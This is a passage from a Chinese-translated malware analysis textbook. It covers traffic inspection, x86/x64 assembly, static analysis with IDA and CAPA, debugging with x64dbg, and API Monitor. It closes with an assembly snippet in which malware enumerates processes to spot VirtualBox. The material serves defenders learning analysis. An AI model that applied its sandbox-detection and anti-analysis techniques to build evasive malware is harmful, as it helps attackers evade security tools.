详细检查 HTTP 和其他协议的流量是很有帮助的。要查看网页流量,右键点击 HTTP 请求并选择跟踪TCP 流。你应该会看到来自这个恶意软件样本的 HTTP POST 请求,如图 2-20 所示。

图 2-20:来自恶意软件的 HTTP POST 请求
这个样本正在向其基础设施(siguages.ru)发送数据,如受害者的主机名、IP 地址和唯一标识符。值得注意的是,恶意软件还在发送它的僵尸网络 ID(在这个例子中是“2209 _ubm”),这是分配给受感染计算机网络的标识符。虽然这个恶意软件以未加密的形式发送数据,但恶意软件也可能通过加密通道与受害者和其指挥控制基础设施之间进行通信。这使得通过 Web 代理或像 Wireshark 这样的工具检查流量变得更加困难。随着我们继续阅读本书,我们将更详细地了解一些这些技术以及如何克服它们。
注意
许多恶意软件家族在感染主机之前会尝试确定主机是否连接到互联网,作为沙箱规避技术。如果你在离线(无互联网连接)的虚拟机中调查恶意软件,你可能需要使用一个“伪装”网络服务的工具,如 FakeNet 或 INetSim。我在附录 A 中简要讨论了这些工具。 ### 总结
本章介绍了快速评估恶意软件样本并确定下一步分析步骤的基本方法。我们讨论了如何将自动化恶意软件沙箱用作此过程的一部分,以及如何在受控虚拟机环境中手动调查恶意软件行为,以便更详细地了解它们。在下一章中,我们将探讨代码分析如何补充这些初步分析和行为分析技术。
第四章:3 静态与动态代码分析

在初步筛查、自动沙箱分析和行为分析是理解未知恶意软件样本的必要步骤时,有时你需要深入挖掘,甚至到代码层面。也许你遇到的问题是无法让样本在沙箱或虚拟机环境中运行,或者你可能在试图识别隐藏的功能。不管是什么原因,本章将指导你如何使用静态和动态代码分析技术来逆向工程恶意软件样本,并发现其真实意图。
我们将从汇编代码的简要介绍开始,这是逆向工程 PE 文件的一个基本概念。接下来,我们将深入探讨静态代码分析和反汇编工具,如 IDA。最后,我们将探索使用 x64dbg 进行动态代码分析和调试的细节。
注意
与第二章一样,本章的目标是介绍一些本书后续部分会引用的关键概念。它并不是这些技术的全面指南,但你可以在附录 C 中找到一些很好的初学者资源。
汇编代码简介
汇编是一种低级编程语言,提供了机器码指令的人类可读表示。在进行恶意软件逆向工程时,恶意程序可以从二进制机器码转换为汇编代码;这一过程称为反汇编。
本节介绍了 x86(32 位)和 x86_64(64 位,从此处起简称为 x64)汇编代码以及一些将在本书其余部分中应用的 CPU 概念。我们将从 CPU 架构基础开始,然后转到汇编指令。
CPU 寄存器
在程序运行时,CPU 使用寄存器,即物理处理器芯片上的内存位置,来存储数据并跟踪处理状态。由于内存存储速度较慢,CPU 尽可能多地利用寄存器进行数据存储和操作。根据处理器架构的不同,每个寄存器可以存储一定量的数据。一个字等于 16 位数据。x86 处理器寄存器通常可以存储一个双字(32 位)数据,而 x64 处理器寄存器可以存储一个四字(64 位)数据。
CPU 寄存器有五种主要类型:(1)通用寄存器,(2)索引和指针寄存器,(3)标志寄存器,(4)段寄存器,以及(5)指示器寄存器。前三种对于我们这里的目的最为重要,但我将在本书后续部分介绍其他两种。
通用寄存器
通用寄存器 用于存储和处理用于算术运算、函数参数等一般用途的数据。每个通用寄存器可以分割成包含 16 位或 8 位数据的更小的段。例如,x64 中的 RAX 寄存器可以存储 64 位数据,RAX “包含”四个额外的更小的通用寄存器:EAX(RAX 中的最后 32 位数据)、AX(EAX 的高 16 位)、AH(EAX 的高 8 位)和 AL(EAX 的低 8 位)。图 3-1 显示了 RAX 寄存器及其更小的段,并展示了它们的存储大小限制(以位为单位)。

图 3-1:通用寄存器布局
表 3-1 描述了 x86 和 x64 处理器的每个通用寄存器。请注意,这些描述反映了每个寄存器历史上的使用方式;这并不意味着寄存器必须按这种方式使用。
表 3-1: x86 和 x64 通用寄存器
| x86 寄存器 | x64 寄存器 | 描述 |
|---|---|---|
| EAX | RAX | 累加寄存器,用于算术运算、中断和存储返回值等任务 |
| AX, AH, AL | 与 x86 相同 | 分别为 EAX 的高 16 位、EAX 的高 8 位和 EAX 的低 8 位 |
| EBX | RBX | 用于引用变量和参数 |
| BX, BH, BL | 与 x86 相同 | 分别为 EBX 的高 16 位、EBX 的高 8 位和 EBX 的低 8 位 |
| ECX | RCX | 计数寄存器,用于计数和循环控制 |
| CX, CH, CL | 与 x86 相同 | 分别为 ECX 的高 16 位、ECX 的高 8 位和 ECX 的低 8 位 |
| EDX | RDX | 数据寄存器,主要用于算术运算,有时也作为 EAX 的备份 |
| DX, DH, DL | 与 x86 相同 | EDX 的高 16 位、EDX 的高 8 位和 EDX 的低 8 位 |
索引和指针寄存器
索引寄存器和指针寄存器可以存储指针和地址。它们可用于任务,如传输内存数据、维持控制流和跟踪栈。表 3-2 概述了这些寄存器。
表 3-2: x86 和 x64 索引与指针寄存器
| x86 寄存器 | x64 寄存器 | 描述 |
|---|---|---|
| ESI | RSI | 源索引;通常作为内存操作中的源地址 |
| EDI | RDI | 目标索引;通常作为内存操作中的目标地址 |
| EBP | RBP | 基址指针;指向栈的基址 |
| ESP | RSP | 栈指针;指向最后一个被推入栈的项目 |
| EIP | RIP | 扩展指令指针;指向下一条将被执行的代码地址 |
标志寄存器
标志寄存器用于跟踪处理器的当前状态。通常,它用于存储计算结果并控制处理器的操作。标志是 EFLAGS 寄存器的通用术语,EFLAGS 用于 32 位架构,并在图 3-2 中展示;而 RFLAGS 寄存器用于 64 位架构。这两个寄存器的功能相似。

图 3-2:EFLAGS 寄存器
对于我们的目的,最重要的两个标志位是零标志位 (ZF)和陷阱标志位 (TF)。ZF 是一个单一的比特位,通过条件指令设置。例如,某个条件指令可能比较两个值;如果值相同,ZF 将被设置为 1。TF 用于调试,允许调试器单步执行指令。
x64 和 x86 指令
现在我们已经介绍了 CPU 寄存器和栈的基本内容,接下来让我们开始深入了解程序可以使用的各种汇编指令。
栈操作
第一章简要提到了栈,这是分配给线程的内存区域,用于存储临时数据,如变量、指针以及线程执行完成并终止后不再需要的其他对象。栈以后进先出 (LIFO)的方式操作。这意味着,当程序将数据(例如变量)存储到栈中时,该变量会被放置到栈顶。要检索该变量,程序必须首先取出栈顶以上的所有其他数据。
要将数据放置到栈中,程序执行一个push指令,这会将数据推送到栈顶(见图 3-3)。要检索该数据,应用程序执行一个pop指令,这会将栈顶的数据弹出。

图 3-3:一个程序将数据推送到栈顶
这里程序首先将值 1 推送到栈中,然后是值 2,最后是值 3。此时,值 3 位于栈顶。要检索值 1,程序首先需要按照顺序弹出值 3 和值 2。
表 3-3 提供了这些指令的概览。
表 3-3: 栈操作指令
| 指令 | 示例 | 描述 |
|---|---|---|
| push arg1 | push ebx push [ebx] push "50" | 将数据存储到 arg1 (可以是寄存器、内存地址或常量)的栈顶。 |
| pop arg1 | pop ebx pop [ebx] | 从栈顶弹出(获取)数据,并将其存储在 arg1中,可以是寄存器或内存地址。 |
大多数指令可以直接在 CPU 寄存器和内存地址上操作。例如,push ebx 指令会将当前存储在 EBX 寄存器中的数据直接推入栈中。寄存器名称周围的括号,如 push [ebx],表示指令正在解除引用内存指针,因此,存储在 EBX 中的内存地址所指向的数据将被推入栈中。例如,如果 EBX 当前包含值 0x00406028(一个内存地址),那么存储在该内存地址的数据将被推入栈中。在反汇编程序中(稍后讨论),你通常会看到这条指令写作 push byte ptr [ebx] 或类似形式,提示你这指向内存中一系列字节的指针。
算术运算
数据操作和算术指令用于计算,如加法和减法。某些算术指令,如 add,需要两个操作数:第一个是目标操作数,第二个是要加到其上的值。其他的指令,如 dec,用于递减目标操作数,只需要一个操作数。表 3-4 总结了一些常见的算术运算指令。
表 3-4: 算术运算指令
| 指令 | 示例 | 描述 |
|---|---|---|
| add arg1, arg2 | add ebx, 50 | 将 arg2 (一个寄存器、内存地址或常量,如值 50) 加到 arg1 (一个寄存器或内存地址)中。 |
| sub arg1, arg2 | sub ebx, 50 | 将 arg2 (一个寄存器、内存地址或常量)的值从 arg1 (一个寄存器或内存地址)中减去。 |
| inc arg1 | inc ecx | 将 arg1 (一个寄存器或内存地址)增加 1。 |
| dec arg1 | dec ecx | 将 arg1 (一个寄存器或内存地址)减少 1。 |
数据移动
程序可以通过 mov 指令在内存和寄存器之间移动数据。mov 指令需要两个参数,但只能有一个是内存地址。例如,在 x86 和 x64 汇编代码中,程序不能直接将数据从一个内存地址移动到另一个内存地址。你可以在 表 3-5 中看到这些指令的一些常见示例。
表 3-5: mov 指令的示例
| 指令 | 示例 | 描述 |
|---|---|---|
| mov arg1, arg2 | mov eax, ebx mov [ebx], 100 | 将 arg2 (寄存器、内存地址或常量) 的数据移动到 arg1 (寄存器或内存地址)。 |
值比较
通常情况下,程序需要比较两个值以引导控制流。比较指令可能是 if 语句,例如 if var == 2,但两条主要的比较指令是 cmp 和 test。任一指令的结果都会存储在零标志寄存器中,稍后将用来引导控制流。表 3-6 提供了 cmp 和 test 指令的概述。
表 3-6: 比较指令
| 指令 | 示例 | 描述 |
|---|---|---|
| cmp arg1, arg2 | cmp eax, ebx cmp eax, 5 | 比较 arg1 (寄存器或内存地址) 与 arg2 (寄存器、内存地址或常量)。 |
| test arg1, arg2 | test eax, ebx test eax, 5 | 与上面相同。 |
你可能会看到像 test eax, eax 这样的指令,它比较的是 EAX 中的值和它自身。这实际上是在检查寄存器(此处为 EAX)的内容是否为 0。当 test 指令中的两个参数相同时,实际上是将该参数与 0 进行比较。如果 EAX 为 0,则零标志将被设置。
尽管 cmp 和 test 看起来非常相似,但它们的工作原理存在根本性的差异:cmp 可以看作是一个 sub 指令,而 test 类似于 and 指令。具体细节超出了本章的范围。
跳转指令
程序可以使用各种跳转指令跳过到代码的其他区域,或者根据之前提到的比较指令来修改控制流。我们需要注意的三种常见跳转语句已在表 3-7 中总结。
表 3-7: 跳转指令
| 指令 | 示例 | 描述 |
|---|---|---|
| jmp arg1 | jmp func_00405207 jmp ebx | “跳转”指令:跳转到另一个地址、函数或代码段; 可以是寄存器(包含内存地址)、指针或代码中的地址。 |
| jz arg1 | jz func_00405207 jz ebx | “零值跳转”指令:如果上一个算术操作的结果为 0,则跳转到 arg1 。 |
| jnz arg1 | jnz func_00405207 jnz ebx | “非零跳转”指令:如果上一个算术操作结果不是 0,则跳转到 arg1。 |
对于条件跳转指令(例如 jz 和 jnz),这些指令会检查零标志寄存器的输入。由于 cmp 和 test 会设置这些标志,它们通常是条件跳转的前奏。
调用与返回指令
程序发出调用指令以调用 Windows API 函数或跳转到代码中的目标函数。在后者的形式中,call 类似于无条件跳转指令。在跳转到新地址之前,call 指令会将当前地址(存储在 EIP 或 RIP 中)推送到栈中。之后,程序可以发出返回(ret)指令返回到代码中的前一个位置。表 3-8 描述了这些指令。
表 3-8: 调用与返回指令
| 指令 | 示例 | 描述 |
|---|---|---|
| call arg1 | call ebx call WriteFile | 调用(或跳转到) arg1中存储的地址,可以是寄存器(包含内存地址)、指针或函数。 |
| ret | ret | 返回到执行过 call 指令之前的代码位置。 |
空操作指令
空操作指令,或称nop指令,正如你所想,它们什么也不做。含有nop指令的地址本质上会被处理器跳过。如果你在想它们的目的是什么,nop指令有许多合法用途,包括代码和内存的对齐、时间控制(例如测试程序的执行速度),以及占位代码(例如在手动汇编编程中)。
然而,nop也可以用于更恶意的目的,例如在 shellcode(在第十二章中讨论)和漏洞利用代码(例如缓冲区溢出)中使用。汇编代码段中存在的nop指令可以为分析员提供一个很好的信号,提示可能有值得进一步调查的内容。
现在我们已经了解了汇编代码的基础,接下来让我们关注通过静态代码分析来调查恶意代码。
静态代码分析
静态代码分析是检查代码静态状态(即不在执行时)的技术,通常使用一种叫做反汇编工具的工具来实现。反汇编工具允许我们浏览恶意软件的代码,识别感兴趣的函数或代码块,并深入研究这些区域。了解如何有效地使用反汇编工具通常是区分初学者与中级及高级恶意软件分析员的关键。假设你有一个未知的可执行文件,在你的自动化沙箱和虚拟机中只表现出一些行为,或者它甚至根本无法正常运行。也许它使用了某些虚拟机检测和沙箱规避技术。初学者在这个阶段可能会放弃,而经验丰富的分析员则很可能会将样本加载到反汇编工具中,以确定接下来该将调查重点放在哪里。
选择反汇编工具
目前最著名的两款反汇编工具是 IDA 和 Ghidra。它们都是交互式反汇编工具,意味着你可以与反汇编代码进行互动并手动操作。这允许你修改代码、添加注释、重命名函数、修复错误的反汇编代码,总的来说,能更好地控制逆向工程过程。
IDA (https://
另一方面,Ghidra 是一个完全免费的开源交互式反汇编工具,具有许多 IDA 的功能,还增加了一些新特性,例如协作反汇编,允许多人共同处理一个文件。Ghidra 较新,并且在写作时,它还没有像 IDA 那样拥有众多插件或扩展脚本。不过,随着时间推移,这些功能会逐步增加。你可以在https://
在 IDA 阵营和 Ghidra 阵营中都有许多粉丝,但最终你选择哪一个并不太重要。一旦掌握了汇编概念,任一选项都能完成任务。对于本章(以及本书的大部分内容),我将使用 IDA。
使用 IDA 分析
让我们通过 IDA 进行静态代码分析的基本过程。
注意
在本节中,我们将使用 IDA 分析一个恶意软件文件,你可以通过以下文件哈希从 VirusTotal 或 MalShare 下载该文件:
SHA256: 30c9a1460615254a4ef791ffeeba53f4a31361c2646b25d3909025178c5a3976
要在 IDA 中打开这个可疑文件,请导航至 文件打开,接受默认选项,然后点击 确定(见图 3-4)。IDA 将自动分析该文件。

图 3-4: 将新文件加载到 IDA 中
IDA 界面包含多个选项卡,其中一些代表你可能希望检查的文件元素(见图 3-5)。

图 3-5: IDA 界面
在“导入”选项卡中,你可以看到几个有趣的函数,包括 WinHttp 库函数(见图 3-6),这些函数表明该恶意软件可能会在某些时候尝试与互联网上的服务器通信。

图 3-6: IDA 导入选项卡上的函数列表
InternetOpenUrlW函数可被恶意软件用来连接到互联网上的恶意服务器。要检查程序中此函数的调用,你只需在导入视图中双击它,然后按 CTRL-X 查看交叉引用(参见图 3-7)。交叉引用是程序代码中包含所选项的地址。

图 3-7:指向InternetOpenUrlW的交叉引用
点击确定以跳转到代码中的位置,查看程序调用了InternetOpenUrlW,如图 3-8 所示。

图 3-8:InternetOpenUrlW函数调用的代码位置
我们正在尝试确定恶意软件打开的是哪个 URL,但不幸的是,由于输入参数不明确,我们无法从这段代码中看到太多内容。我们可以看到几条push指令,这些指令将参数存储在栈上,其中一个参数是lpszUrl,它是目标 URL。如果我们运行这个程序,这个参数将位于栈上的地址[ebp+lpszUrl]。然而,由于我们只是静态地查看代码,栈上没有参数可以检查,这使得我们的工作变得更加困难。
我们可以逆向跟踪代码,试图确定程序最终将什么参数压入栈中,作为传递给InternetOpenUrlW函数的参数。有时候这样做很有价值,但通常情况下,恶意软件会混淆这些数据。另一种方法是将恶意软件加载到调试器中,动态检查栈。稍后我们会看看如何操作。首先,让我们讨论一个有用的静态代码分析工具。 #### 使用 CAPA 进行分析
CAPA(https://
> **capa.exe malware.exe -vv**
-vv指令告诉 CAPA 提供额外的详细信息。(请注意,-vvv会返回更多信息,而-v则返回较少。)图 3-9 展示了 CAPA 的一些示例输出。

图 3-9:CAPA 输出
这些输出揭示了一些有趣的信息。首先,这个样本似乎正在使用规避技术,如文件混淆、进程注入以及虚拟化和沙箱检测。这些战术可能对你来说是新的,但别担心,我们将在本书的后续章节中详细讲解它们。
运行在详细模式下的 CAPA 甚至会提供可执行文件中嫌疑功能所在的地址。图 3-10 显示了 CAPA 识别的潜在反虚拟机指令。

图 3-10:CAPA 识别的潜在反虚拟机指令
图 3-10 中的特定反虚拟机指令是cpuid,这是一条恶意软件常用的汇编指令,用于检测虚拟机环境。CAPA 定位了此可执行文件中调用cpuid的地址(0x140002157,0x14000217E,和0x140002203)。现在,你可以将这个恶意样本加载到反汇编工具中,比如 IDA Pro,并跳转到这些地址位置,快速找到cpuid指令。
图 3-11 显示了另一个例子,CAPA 识别了怀疑恶意软件所在的地址。

图 3-11:CAPA 输出显示潜在的进程注入
在这个例子中,CAPA 识别了一种潜在的进程注入技术:APC 注入,这是一种恶意软件用来规避宿主防御并隐蔽执行恶意代码的方法。
与反汇编器和其他静态代码分析工具配合使用时,CAPA 可以提高代码分析过程的效率,是你恶意软件分析工具箱中的得力助手。我们将在后续章节中详细介绍 CAPA,但现在我们将转向动态代码分析,并讨论它如何补充静态代码分析。
虽然 CAPA 非常有用,但它也有一些局限性。首先,它没有解包或去混淆的功能(至少在本文写作时是如此),因此在处理打包和高度混淆的恶意软件时,CAPA 可能会产生不正确的信息,甚至什么信息都没有。其次,CAPA 偶尔会产生误报。始终手动验证通过 CAPA 找到的任何功能。 ### 动态代码分析
动态代码分析包括在代码处于活动运行状态时进行分析,这通常意味着在调试器中执行代码。调试器与反汇编器类似,它们也会反汇编代码并将其呈现给您,但它们的附加优势是能够动态执行代码。
调试器的真正强大之处在于它们允许您在运行中的代码上设置断点。断点是特殊的指令或标志,当程序执行到这些断点时,会触发异常(或中断),将控制权交给调试器本身,使您可以控制正在运行的恶意软件样本。
选择调试器
x64dbg 工具(https://
注意
x64dbg 技术上有两个版本:x32dbg(用于调试 32 位程序)和 x64dbg(用于 64 位程序)。它们的功能完全相同,但专注于不同的架构。我将把这个程序称为 x64dbg,就像调试器的创建者一样,但请记住,为了调试 32 位(x86)程序,您必须使用 x32dbg 版本。
在 x64dbg 中启动调试会话
要将可执行文件加载到 x64dbg 中,请选择正确版本的 x64dbg(32 位或 64 位版本),然后选择文件打开。(如果使用错误版本,调试器窗口底部会显示一条有帮助的消息,比如"请使用 x32dbg 调试此文件!"。)或者,您可以通过选择文件附加,将调试器附加到当前正在运行的恶意软件进程。此方法的缺点是您可能会错过在附加进程并开始调试之前发生的关键行为。
一旦程序加载到调试器中,它作为调试器下的子进程运行。在大多数情况下,调试器调用函数DebugActiveProcess,允许它附加到活动进程并开始调试会话。我们将在第十章中再次讨论这个 API 调用。目前,让我们来看看 x64dbg 用户界面中最重要的部分,如图 3-12 所示。

图 3-12:x64dbg 调试器
CPU 标签
x64dbg 窗口左上角的 CPU 面板列出了恶意软件将执行或已经执行的指令,按顺序排列。在这个窗口中,你可以逐行单步调试代码,或者跳过到更有趣的部分。EIP(对于 x64 程序是 RIP)标记了下一个将被执行的指令,如图 3-13 所示。

图 3-13:x64dbg CPU 标签
CPU 寄存器面板
在 x64dbg 窗口的右上方,你会看到 CPU 寄存器面板(参见图 3-14)。这个面板显示了每个寄存器和标志以及它们当前存储的值。这对于跟踪寄存器中存储的数据和地址非常有帮助。

图 3-14:x64dbg CPU 寄存器面板
你也可能注意到这个面板中的 EFLAGS 部分,显示了标志寄存器及其值。
参数面板
参数面板(参见图 3-15)位于 x64dbg 窗口的右中部。

图 3-15:x64dbg 参数面板
这个面板显示了程序中当前函数调用的堆栈上的参数列表。这些信息对于监控和修改传递给函数的参数非常宝贵。
堆栈面板
在 x64dbg 窗口的右下角是堆栈面板。这个面板显示了当前正在运行的线程的堆栈内存(参见图 3-16)。

图 3-16:x64dbg 堆栈面板
当恶意软件调用一个函数(无论是内部函数还是 Windows API 函数)时,参考此堆栈面板是非常有帮助的。恶意软件传递给被调用函数的参数通常会在函数调用之前被推入堆栈,特别是在 32 位恶意软件中。
Dump 窗格
左下角是 Dump 窗格,如图 3-17 所示。

图 3-17: x64dbg Dump 窗格
这个视图允许你动态检查和监控内存地址(或 转储)。你还可以设置 监视,当特定事件发生时,x64dbg 会通知你,例如当特定寄存器被修改时。
Memory Map 标签页
最后,Memory Map 标签页可以通过 x64dbg 窗口顶部的一系列标签访问。在动态代码分析过程中,它非常有用,因为它显示了程序的虚拟内存布局,并允许你深入挖掘每个内存区域(参见图 3-18)。

图 3-18: x64dbg Memory Map 标签页
Memory Map 窗格的一个重要用途是在恶意软件解包过程中寻找可执行代码。我将在第十七章中更详细地讲解这一点,以及内存的一般知识。
使用 x64dbg 分析
接下来,我们将查看一个典型的恶意软件调试场景,给你一个高层次的概览,展示在调试器中进行动态代码分析的样子。我们将分析与在第 53 页中“使用 IDA 分析”时相同的文件。
禁用 ASLR
正如第一章所解释的,地址空间布局随机化(ASLR)将恶意软件的可执行文件和库加载到随机的内存位置。虽然这是一种有效的防止攻击者的方法,但它也会妨碍你的动态代码分析工作,因此你应该禁用它。要禁用该文件的 ASLR,你有几个选择,但你可以使用 CFF Explorer(https://

图 3-19: 在 CFF Explorer 中设置文件的 DLL 特性
你可能会从第一章中认识到可选头部分。可选头中的一个字段,DllCharacteristics 字段,包含了可执行文件的一些属性。
接下来,在弹出菜单中,取消勾选DLL Can Move旁边的框,如图 3-20 所示。

图 3-20: 在 CFF Explorer 中禁用 ASLR
最后,点击确定,并记得通过选择文件保存来保存修改过的文件。
运行代码
现在通过选择文件打开将文件加载到 x64dbg 中(更具体地说是 x32dbg,因为这是一个 32 位文件)。完成后,你应该在调试菜单中看到几个用于运行和调试程序的选项(参见图 3-21)。

图 3-21:x64dbg 中的调试菜单
让我们按顺序浏览这些选项:
运行
运行程序直到某个事件停止代码的执行,例如异常、错误、断点,或者进程终止或退出。
运行直到选择
运行程序,直到遇到你手动选择的代码地址。
逐步进入
允许你进入即将执行的函数,以便手动调试和检查它。这个选项通常被称为逐步执行,并将在本书中频繁讨论。其快捷键是 F7。
跳过
允许你跳过一个函数,完全跳过其执行。这是节省时间并跳过你不感兴趣的代码的好方法。
执行直到返回
执行程序,直到遇到下一个返回(ret)指令。
运行到用户代码
执行程序并在用户代码处断点。这是最有用的调试选项之一,我们稍后会详细讨论。
在“高级”菜单中有更多调试选项。例如,选项“Run (Swallow Exceptions)”强制调试器基本上忽略异常。由于在调试过程中大量异常可能会导致问题(而恶意软件甚至可能故意生成异常来烦扰你!),这个选项可以帮助你节省一些挫败感。
文件加载到调试器中后,必须完成初始化任务,如加载所需的库和其他 Windows 操作系统任务。对于我们的目的,这些步骤不需要关注,而是希望跳过到恶意软件文件的入口点(我们要分析的代码部分)。为此,选择调试运行到用户代码(参见图 3-22)。

图 3-22:运行到用户代码入口
现在恶意软件已经加载到调试器中,我们可以直接开始执行并逐步调试代码。然而,这通常不是最有效的方法。最好提前明确我们希望在恶意软件中检查的代码部分。在前一节中,我们在 IDA 中发现了一个有趣的地方:InternetOpenUrlW函数。让我们找到并检查这段代码。
使用软件断点
你通过插入特殊的 CPU 指令来设置软件断点,例如INT 3(以十六进制表示为0xCC),这是最常见的断点指令,或者INT 2D(以十六进制表示为0xCD 0x2D)。请记住,创建软件断点会直接修改正在运行程序的代码。大多数良性程序对此不在意并忽略它。然而,一些恶意软件不希望被调试,它们会尝试检测并规避你的断点。
要跳转到执行InternetOpenUrlW函数的代码区域,你可以简单地在该函数调用处设置一个断点。最有效的方法是,在 x64dbg 窗口底部的命令栏中输入以下指令:
**bp InternetOpenUrlW**
见图 3-23。

图 3-23:在函数调用上设置断点
接下来,使用调试运行命令(或按键盘上的 F9)执行该样本。这将执行恶意软件并在我们的目标函数InternetOpenUrlW处中断,如图 3-24 所示。

图 3-24:命中断点!
如果你检查参数面板中的参数,你应该能够在堆栈上看到一个完整的 URL(见图 3-25)。

图 3-25:堆栈中的 URL
互联网服务iplogger.org可以用来记录和跟踪 IP 地址。恶意软件可能正在使用这个服务来跟踪被该恶意软件样本感染的主机,或获取受害者的 IP 地址。
软件断点不仅限于函数调用;你可以在任何你选择的地址上设置它们。在 x64dbg 的 CPU 面板中,只需右键点击你想设置断点的地址,并选择断点切换(或按 F2)。一旦 CPU 准备执行该地址的指令,调试器将暂停。
设置硬件和内存断点
作为软件断点的替代方案,您可以设置硬件断点(由 CPU 本身实现)或内存断点(通过内存保护实现)。硬件断点设置并存储在 CPU 寄存器中,具体是 DR0、DR1、DR2 和 DR3 寄存器。当您设置硬件断点时,断点所在的地址会被存储在这些 DR 寄存器中的一个。硬件断点的优点是它们不会直接修改代码,因此侵入性较小,恶意软件较难检测到。它们的主要缺点是,由于 DR 寄存器数量有限,因此一次只能设置四个硬件断点。
内存断点通过修改内存页面的保护属性,实际上会在访问该内存页面时引发异常。这通常是通过修改内存页面的PAGE_GUARD属性来实现的。内存断点对于监视内存中的地址特别有用。例如,如果您在运行时发现了一个有趣的字符串(例如 URL 或文件名),在该字符串的地址上设置内存断点可以帮助您确定恶意软件如何使用该字符串以及使用的位置和方式。内存断点的一个缺点是,由于它们直接修改内存页面的保护属性,可能会干扰程序的操作。具体而言,当程序尝试分配新的内存页面或修改现有页面时,内存断点可能导致程序崩溃。一旦内存断点被触发,该页面的内存保护将被重置为触发断点之前的状态。因此,如果恶意软件在断点触发之前或之后修改了页面的保护,您可能会撤销恶意软件的更改,或者恶意软件可能无意(或故意!)撤销您的断点。在使用内存断点时务必小心。由于硬件和内存断点通常是一起使用的,从现在起,我将使用硬件断点这个术语来同时指代两者。
设置正在调试的程序中的硬件断点有多种方法:
-
要在 CPU 窗格中的某个地址设置硬件断点,右键单击该地址,然后点击断点执行时设置硬件断点。
-
在“转储”窗格视图中,选择一个字节来设置断点,右键单击它,然后将鼠标悬停在断点上,选择多个选项中的一个。
-
在“内存映射”标签视图中,突出显示您想要设置断点的内存区域。右键单击该区域并选择内存断点,然后选择断点选项。
表 3-9 概述了各种类型的硬件和内存断点及其实现方式。
表 3-9: x64dbg 中的硬件断点类型
| 断点类型 | 描述 |
|---|---|
| 硬件,访问 | 设置硬件断点以监视访问。当此地址以任何方式(读取、写入或执行)被访问时,断点将被触发。 |
| 硬件,写入 | 设置硬件断点以监视写入。当此地址即将被写入时,断点将被触发。 |
| 硬件,执行 | 设置硬件断点以监视执行。当此地址上的指令即将被执行时,断点将被触发。 |
| 内存,访问 | 设置内存断点以监视访问。当此内存页面以任何方式(读取、写入或执行)被访问时,断点将被触发。 |
| 内存,读取 | 设置内存断点以监视读取。当此内存页面即将被读取时,断点将被触发。 |
| 内存,写入 | 在写入时设置内存断点。当此内存页面即将被写入时,断点将被触发。 |
| 内存,执行 | 设置内存断点以监视执行。当此内存页面中的指令即将被执行时,断点将被触发。 |
需要注意的是,硬件断点可以设置在字节、字或双字上。例如,设置在特定字节上的硬件断点,当访问该字节时会触发异常。对于字和双字,当整个字(2 字节)或双字(4 字节)被访问时,异常将触发。硬件断点还可以设置为两种模式:单次触发和恢复。单次触发断点在触发后会被移除,不会再次触发。恢复断点会在触发后恢复自己,创建一个持久的断点,如果再次访问特定地址时会再次触发。
特别是在恶意软件分析中,硬件断点通常用于对抗常见的调试器和断点检测技术,以及在手动解包样本时。我们将在第十章和第十七章中特别讨论硬件断点在这一上下文中的应用。
修补和修改代码
修补意味着修改或移除程序中的指令。要在 x64dbg 中执行此操作,右键点击你需要修改的代码地址并选择二进制,如图 3-26 所示。

图 3-26:在 x64dbg 中编辑和修补代码
编辑选项允许你修改该地址的代码。用 NOP 填充选项是一个快速清除代码的好方法;它将该内存地址填充为nop指令,实质上告诉程序跳过这部分代码。举个例子,要在当前恶意软件样本中修补对InternetOpenUrlW的调用,你需要高亮显示包含函数调用指令的行(call InternetOpenUrlW),然后用 NOP 填充它。
在这种情况下,通常没有必要修补对InternetOpenUrlW的调用指令(除非你想禁止恶意软件连接到互联网)。然而,通常来说,在运行中的恶意软件样本中修补代码是一种非常强大的绕过反分析和规避技术的方式,并且可以控制恶意软件的执行流程。
通过 API Monitor 跟踪 API 调用
API Monitor(http://
你可以在 API Monitor 窗口左上角的 API 过滤器窗口中选择你想要跟踪的 API 和函数,如图 3-27 所示。

图 3-27:API Monitor 中的 API 过滤器菜单
在这里,我选择了Wininet.dll库下的所有与互联网和网络相关的函数。
要监控一个新的进程,请点击 API Monitor 窗口中间的监控新进程按钮,然后选择你想分析的恶意软件可执行文件。默认选项已经足够好,因此点击确定(参见图 3-28)。

图 3-28:在 API Monitor 中监控新进程
在恶意软件执行并运行几分钟后,一些 API 调用将开始出现在摘要窗口中,正如你在图 3-29 中看到的那样。

图 3-29:API Monitor 中的 API 调用列表
你可能会从我们之前在 x64dbg 中的分析中认出一些这些调用。API Monitor 的强大之处在于,它可以让你快速查看你感兴趣的函数调用,以及它们的参数和返回值。这对于快速了解恶意软件样本的功能,或者监视和追踪可疑行为极为有价值。
总结
在本章中,你学习了汇编代码的基础知识,并高层次地探索了静态和动态代码分析过程,包括反汇编器和调试器的作用。在典型场景中,你会使用静态代码分析来识别并分析值得进一步调查的代码,然后使用调试器进行动态代码分析。在逆向工程恶意软件时,频繁切换静态和动态代码分析有助于全面理解你正在调查的代码。
本章总结了恶意软件分析的基础主题。在接下来的几章中,我们将开始深入研究如何规避的恶意软件能够检测虚拟机、沙盒以及分析师用来调查恶意软件内部的工具。
第二部分 情境意识与沙盒规避
第五章:4 操作系统工件枚举

一个正常的、“真实”的用户环境与恶意软件沙箱或实验室环境有很大不同。典型用户可能已经安装了常见的应用程序,如微软办公软件、电子邮件客户端、多个网页浏览器等。他们可能不会使用虚拟机、Wireshark 或 Procmon,也不太可能安装像 IDA Pro 这样的恶意软件分析工具,或者像 Cuckoo 这样的沙箱工具。另一方面,沙箱或实验室环境通常会在虚拟机中安装分析软件。
这通过对超管程序(hypervisor)在各种操作系统工件中的名称和属性进行引用来指示,例如当前运行的进程、配置的注册表键、已安装的设备和驱动程序等。恶意软件可以提取这些信息来了解其环境、选择目标,并决定是否在主机上执行其有效载荷。这被称为枚举。
在本章中,我将带你了解几种操作系统工件的枚举技术,并解释恶意软件如何利用其收集的信息来识别分析环境或不适当的目标。我们将在本章和接下来的几章中探讨的许多技术可以通过特别调优的恶意软件分析环境来规避,我们将在附录 A 中讨论这一点。
进程
恶意软件可以使用进程枚举技术来检测虚拟机和沙箱,并更好地了解其操作环境。恶意软件可能使用的主要 Windows API 函数来枚举进程包括 CreateToolhelp32Snapshot、Process32First 和 Process32Next。以下恶意软件示例代码列举了主机上正在运行的进程,以寻找目标进程 VboxTray.exe,这是某些 VirtualBox 虚拟机中常见的进程:
1 call CreateToolhelp32Snapshot
`--snip--`
loc_2:
lea ecx, [esp+peInfo]
2 push ecx // Pointer to buffer (peInfo)
push eax // Handle to snapshot
call Process32First
3 test [esp+peInfo.szExeFile], vboxtray_process_name
jz loc_3
`--snip--`
loc_3:
